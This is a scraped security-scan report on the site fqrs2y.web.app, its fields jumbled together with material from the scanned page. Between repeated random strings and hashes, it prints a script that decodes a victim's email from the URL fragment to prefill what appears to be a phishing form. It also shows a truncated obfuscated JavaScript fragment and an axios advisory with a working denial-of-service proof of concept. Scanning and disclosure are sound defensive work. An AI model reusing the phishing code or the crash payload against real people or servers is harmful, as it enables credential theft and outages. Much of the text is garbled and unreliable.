cryptocurrency blockchain

documentation technical

news media journalism

healthcare medical

technology software

Dutch

The domain name 'fqrs2y.web.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'fqrs2y'. The registrable portion 'web' spans 3 characters split between 1 vowel and 2 consonants. Breaking it apart gives one word: web. No strong language cues emerged from the frequency lists.

email

登IpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZFl3XwOnym38Q IpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZ

lIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZFl3XwOnym38QogIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZM

CIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZFl3XwOnym38QonIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZM

IpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZFl3XwOnym38Q继IpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZF

SIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZMZFl3XwOnym38QignIpqKW2HgiprDJ3WUZEaSJFLlICA3m6mIUpDvIR8jZ

html/7a/11/7a1186a9-12f2-4720-8f34-d4fa1c20d2d7.html.gz

85556761a8800d14ced8fcd41a6b8b26bf012d44a318866c0d81a62092efd9bf

8d7089253dca29c9cd8d9deb7ec69b0a3d445f88f6a26478c719be1f90adcb01

53964478a7c634e8dad34ecc303dd8048d00dce4993906de1bacf67f663486ef

540bc6dec1dd4b92ea4d3fb903f69eabf6d919afd48f4e312b163c28cff0f441

02835066969199e9924f1332f7172a5d7e552f023a20c3d8ba03bb6c51ce5be5

a8c5cb039624fc9574b08f6beab86699ad9d4160c67e47ed21e8b851b0325214

4ba4997b46862ba86edbd4e739cbe478bf9a1a1f2f4340c89df7edd8e0b04bb3

ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e

24b9a49d375465e659dbaecb3fda81fbf0d3eedbf138e29cb5229e502d8a4fa1

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

In Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport attribute.

XSS in data-container property of tooltip

In Bootstrap before 3.4.0, XSS is possible in the affix configuration target property.

Bootstrap before 4.0.0 is end-of-life and no longer maintained.

Axios is vulnerable to Inefficient Regular Expression Complexity

Axios Cross-Site Request Forgery Vulnerability

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

## Summary

When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.
This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.

# Denial of Service via **proto** Key in mergeConfig

### Summary

The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.

### Details

The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:

```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
```

When `prop` is `'__proto__'`:

1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property
2. `Object.keys()` includes `'__proto__'` in the iteration
3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)
4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`
5. `Object.prototype(...)` throws `TypeError: merge is not a function`

The `mergeConfig` function is called by:

- `Axios._request()` at `lib/core/Axios.js:75`
- `Axios.getUri()` at `lib/core/Axios.js:201`
- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`

### PoC

```javascript
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
```

**Reproduction steps:**

1. Clone axios repository or `npm install axios`
2. Create file `poc.mjs` with the code above
3. Run: `node poc.mjs`
4. Observe the TypeError crash

**Verified output (axios 1.13.4):**

```
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
```

**Control tests performed:**
| Test | Config | Result |
|------|--------|--------|
| Normal config | `{"timeout": 5000}` | SUCCESS |
| Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** |
| Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS |

**Attack scenario:**
An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`.

### Impact

**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Versions before 1.6.8 depends on follow-redirects before 1.15.6 which could leak the proxy authentication credentials

e5ac8f2fb0c9760a9a5805385e0613fd544658bddc88fbcc946140ee72dc246d

6fa4529f849685248b9b230e3507135c69c4337201d1b4e88e5255ab607d5ee6

viewport

Prudence Malinki

MarkMonitor Inc.

web.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET

 var hash = window.location.hash; var theleft = hash.split('#')[1]; var theright = theleft.split(':')[0]; var string = atob(theright); sessionStorage.setItem("session", string); var session = sessionStorage.getItem("session"); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if (session.match(mailformat)) window.setTimeout(function () { document.getElementById("page-two").style.display = "block"; }, 0);


function _0x42b8(){const _0x3fcfc8=['wmrIY','BxmAr','\x22¯­\x22)','9iltt','ORC89','LOIi1','dYotk','(\x27#²ß','TQmzg','9goyM','fkdlQ','orrec','­/§£/','Afuvl','OILvY','­æ/­ç','A1EQA','/¤ý+¤','§+¦¥/','6

Requests	IP Address	Location	AS Autonomous System
50	199.36.158.100	United States	AS54113Fastly, Inc.
44	104.18.11.207Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
44	172.64.147.188Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
44	151.101.65.155Fastly · CDN	United States	AS54113Fastly, Inc.
44	104.17.207.5Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
44	104.17.25.14Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
44	104.21.27.152Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
314	7	-	-

Security Scan Report: fqrs2y.web.app

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History